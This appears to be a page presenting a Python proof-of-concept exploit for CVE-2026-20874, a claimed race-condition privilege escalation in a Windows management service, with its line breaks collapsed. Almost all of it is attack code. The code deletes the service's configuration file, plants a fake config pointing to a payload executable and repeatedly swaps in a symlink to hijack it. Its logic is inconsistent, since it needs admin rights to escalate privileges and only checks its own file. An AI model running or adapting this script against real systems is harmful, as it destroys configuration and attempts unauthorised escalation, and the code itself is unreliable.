CVE-2026-20874: Windows Management Services 本地权限提升漏洞

# CVE-2026-20874 PoC - Race Condition in Windows Management Services # This PoC demonstrates the race condition exploitation concept # Note: Actual exploitation requires precise timing control import os import sys import time import threading import subprocess import ctypes from ctypes import wintypes # Windows API imports kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll # Constants FILE_WRITE_DATA = 0x2 FILE_READ_DATA = 0x1 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x80 FILE_WRITE_ATTRIBUTES = 0x100 FILE_SHARE_READ = 0x1 FILE_SHARE_WRITE = 0x2 FILE_SHARE_DELETE = 0x4 # Vulnerable service path pattern SERVICE_TARGET_PATH = r"C:\Program Files\Windows Management Services\Config\service.config" BACKUP_PATH = r"C:\Windows\Temp\wms_backup.config" def create_symlink(source, target): """Create a symbolic link (requires admin privileges)""" try: os.symlink(target, source) return True except Exception as e: print(f"[-] Symlink creation failed: {e}") return False def delete_file(path): """Delete a file if it exists""" try: if os.path.exists(path): os.remove(path) return True except: return False def race_condition_trigger(): """ Race condition exploitation thread This simulates the TOCTOU vulnerability in Windows Management Services """ print("[*] Starting race condition attack...") # Step 1: Prepare the environment delete_file(BACKUP_PATH) delete_file(SERVICE_TARGET_PATH) # Step 2: Create a temporary file that will be linked with open(BACKUP_PATH, 'w') as f: f.write("# Malicious configuration injected by exploit\n") f.write("PrivilegeEscalation=true\n") f.write("AdminShell=true\n") f.write("ExecutePayload=C:\\Windows\\Temp\\payload.exe\n") print("[+] Created malicious configuration file") # Step 3: Rapidly attempt to exploit TOCTOU attempts = 0 max_attempts = 100 while attempts < max_attempts: attempts += 1 # Try to create symlink during the vulnerability window # In real scenario, this timing would be synchronized with service operations if create_symlink(SERVICE_TARGET_PATH, BACKUP_PATH): print(f"[!] Symlink created successfully on attempt {attempts}") print("[!] Race condition exploited - service.config now points to malicious file") # Verify the exploit if os.path.exists(SERVICE_TARGET_PATH): try: with open(SERVICE_TARGET_PATH, 'r') as f: content = f.read() if "PrivilegeEscalation=true" in content: print("[!] Exploit verified - malicious config loaded by service") return True except: pass # Cleanup for next attempt delete_file(SERVICE_TARGET_PATH) time.sleep(0.001) # Minimal delay between attempts print("[-] Race condition exploitation failed after maximum attempts") return False def check_vulnerability(): """Check if system is vulnerable to CVE-2026-20874""" print("[*] Checking vulnerability status...") # Check if Windows Management Services exists service_path = r"C:\Program Files\Windows Management Services" if not os.path.exists(service_path): print("[-] Windows Management Services not found - may not be vulnerable") return False # Check service configuration config_path = os.path.join(service_path, "Config", "service.config") if os.path.exists(config_path): print(f"[+] Found service configuration at: {config_path}") return True else: print("[-] Service configuration not found") return False def main(): print("=" * 60) print("CVE-2026-20874 - Windows Management Services Race Condition") print("=" * 60) print() # Check vulnerability status is_vulnerable = check_vulnerability() if not is_vulnerable: print("\n[!] System may not be vulnerable to this CVE") return print("\n[*] Initiating race condition exploit...") # Run exploit in a separate thread exploit_thread = threading.Thread(target=race_condition_trigger) exploit_thread.start() exploit_thread.join(timeout=30) print("\n[*] Exploitation attempt completed") print("[*] Note: This is a proof-of-concept for educational purposes only") print("[*] Microsoft patch should be applied to remediate this vulnerability") if __name__ == "__main__": main()